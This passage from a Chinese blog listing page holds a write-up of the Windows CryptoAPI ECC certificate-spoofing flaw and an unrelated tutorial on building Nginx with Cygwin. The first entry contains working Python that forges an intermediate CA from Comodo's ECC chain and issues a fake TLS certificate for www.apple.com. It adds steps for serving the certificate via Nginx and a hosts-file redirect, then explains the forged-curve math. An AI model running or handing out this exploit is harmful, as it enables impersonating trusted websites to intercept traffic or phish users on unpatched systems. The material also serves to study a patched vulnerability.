assert object_type == "PUBLIC KEY" public_key = keys.PublicKeyInfo.load(der_bytes) return private_key, public_key def random_serial_number() -> int: return int.from_bytes(os.urandom(20), "big") >> 1 def write_tls_certificate( ca_cert: x509.Certificate, ca_cert_orig: x509.Certificate, signing_key: ecdsa.keys.SigningKey, name: str, subject: x509.Name, subject_alt_names: Sequence[str], ) -> None: private_key, public_key = generate_private_key("rsa:4096") signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate = x509.Certificate( { "tbs_certificate": { "version": "v3", "serial_number": random_serial_number(), "signature": signed_digest_algorithm, "issuer": ca_cert_orig.subject, "validity": { "not_before": x509.UTCTime( datetime.datetime(2019, 10, 24, tzinfo=datetime.timezone.utc) ), "not_after": x509.UTCTime( datetime.datetime(2020, 10, 23, tzinfo=datetime.timezone.utc) ), }, "subject": subject, "subject_public_key_info": public_key, "extensions": [ { "extn_id": "basic_constraints", "critical": True, "extn_value": {"ca": False}, }, { "extn_id": "subject_alt_name", "critical": False, "extn_value": [ x509.GeneralName({"dns_name": dns_name}) for dns_name in subject_alt_names ], }, { "extn_id": "certificate_policies", "critical": False, "extn_value": [ {"policy_identifier": "1.3.6.1.4.1.6449.1.2.1.5.1"}, ], }, ], }, "signature_algorithm": signed_digest_algorithm, } ) sign_certificate(signing_key, certificate) with open(name + ".crt", "wb") as f: write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open(name + ".key", "wb") as f: write_pem(f, private_key, "PRIVATE KEY") write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") def get_name(purpose: Optional[str] = None) -> str: components = ["www.apple.com", "aaaa"] if purpose: components.insert(1, purpose) return " ".join(components) def main() -> None: _, ca_cert, _ = load_certificate_chain( "comodoecccertificationauthority-ev-comodoca-com-chain.pem" ) ca_cert_orig = ca_cert.copy() signing_key, ec_private_key = exploit_certificate(ca_cert) with open("intermediateCA.crt", "wb") as f: write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open("intermediateCA.key", "wb") as f: write_pem(f, ec_private_key, "EC PRIVATE KEY") write_tls_certificate( ca_cert, ca_cert_orig, signing_key, "www.apple.com", x509.Name.build( { "incorporation_country": "US", "business_category": "California", "serial_number": "C0805582", "country_name": "US", "common_name": "www.apple.com", "organization_name": "Apple Inc.", "organizational_unit_name": "Internet Services for Akamai", } ), ("www.apple.com.cn", "www.apple.com"), ) if __name__ == "__main__": main()第二步:部署https网站将生成的https证书(www.apple.com.crt)和私钥文件(www.apple.com.key)部署到Nginx上,并启动Nginx。第三步:修改hosts文件在hosts文件中添加 www.apple.com 域名的解析记录,将 www.apple.com 解析到本地服务器。第四步:访问www.apple.com网站Edge浏览器访问假网站:IE浏览器访问假网站不过,火狐大法就不管用了0x02 椭圆曲线数字签名算法(ECDSA)在2009年修订的FIPS 186加入了基于椭圆曲线密码的数字签名方法,称其为椭圆曲线数字签名算法(ECDSA)。由于椭圆曲线密码效率方面的优势,ECDSA的应用越来越广泛。ECDSA算法过程如下:参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。0x03 漏洞原理通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(Digital Certificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G’=Q,从而完成攻击。
2020年04月02日
77 阅读
0 评论
0 点赞
2020-03-12
Nginx使用cygwin在Windows下编译和安装
Nginx介绍:nginx("engine x") 是一个高性能的 HTTP 和反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。尽管还是测试版,但是,Nginx 已经因为它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名了。1.cygwin环境安装到http://www.cygwin.com/下载setup.exe安装程序,具体安装过程请到google找吧。这里需要注意的是:一定要安装上openssl、pcre与zlib这三个包,因为nginx部分源码需要用到这三个库。2.nginx编译与构建下载源代码包并打开cygwin环境,进入到源码存放地址,解压源码包gzip -d nginx-1.4.3.tar.gz得到nginx-1.4.3.tartar xvf nginx-1.4.3.tar得到新目录nginx-1.4.3cd进去,然后执行./configure --prefix=./nginx可以得到Makefile文件与objs子目录下的多个文件;再执行make命令,这时cd进 去objs子目录,然后ls一下,看到有nginx.exe文件,这就是编译构建后生成的nginx程序,接下来就可以安装导出了。3.安装在环境下cd到源码主目录,执行make install这样就可以把可执行导出到和主目录同级的nginx目录里了,这个目录是刚才执行编译configure时指定的(--prefix= ./nginx)4.运行在环境下cd到nginx/sbin目录,运行nginx.exe正常来说,控制台会回显一条错误信息运行错误: [emerg] 2496#0: the maximum number of files supported by select() is 64这表示FD_SETSIZE的值比nginx配置文件中worker_connections指令所指定的值小,那么怎么解决这个问题呢?第一种解决方法:把ngx_select_module事件处理模块去掉,通过在执行configure时指定参数—without-select_module。第二种解决方法:修改nginx的配置文件(conf/nginx.conf),把这个文件第13行的1024改为64(worker_connections指令的值)。第三种解决方法:在执行configure时指定额外的编译选项(--with-cc-opt=”-D FD_SETSIZE=2048”),这同样也可以解决上面的问题。后记:利用上面方法生成的nginx程序,需要依赖cygwin环境才能运行,那么有什么方法可以不用cygwin环境也能让nginx在Windows下独立运行呢?当前我想到的有两种方法:第1种:首先改变执行configure时指定的—prefix=/cygdrive/c/nginx参数为—prefix=.,同时还加上—sbin-path=nginx这个参数,也就是make install时把nginx安装到c:\nginx-\目录下,nginx运行时从当前目录的conf子目录读取配置、写日志到logs子目录。接下来执行configure、make与make install。然后把nginx运行时所需要用到的DLL找出来,我发现有这几个:cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll(这些文件都在cygwin安装目录的bin子目录下);如果启用ssl的话,应该还需要cygssl-.dll和cygcrypto-0.9.8.dll,这个我没有实践过,大家可以试试。接下来把cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll拷贝到安装主目录下,同时在该目录下创建logs子目录。最后就可以直接双击nginx.exe来运行nginx了。这时打开浏览器,输入地址:http://127.0.0.1/,如果能看到有“Welcome to nginx!”显示出来就表示nginx已经在运行,如果没有的话就打开logs子目录下的error.log文件,看看到底发生了什么错误。第2种:编译时指定-mno-cygwin选项,这可以生成不需要其它DLL的nginx.exe文件,不过我还没试成功,具体原因也还没找到,如果你试成功了要告诉我一声哟!这两种方法都有一个缺点:虽然nginx已经能独立运行了,但要关闭它,还需要打开cygwin环境,然后ps找到nginx主进程的进程ID,kill掉它;当然也可以用任务管理器强制关闭。不过据我了解在cygwin环境下可以把一个程序编译成Windows服务的,具体怎么做的话要再找找咯!
2020年03月12日
103 阅读
0 评论
0 点赞
1
...
3
4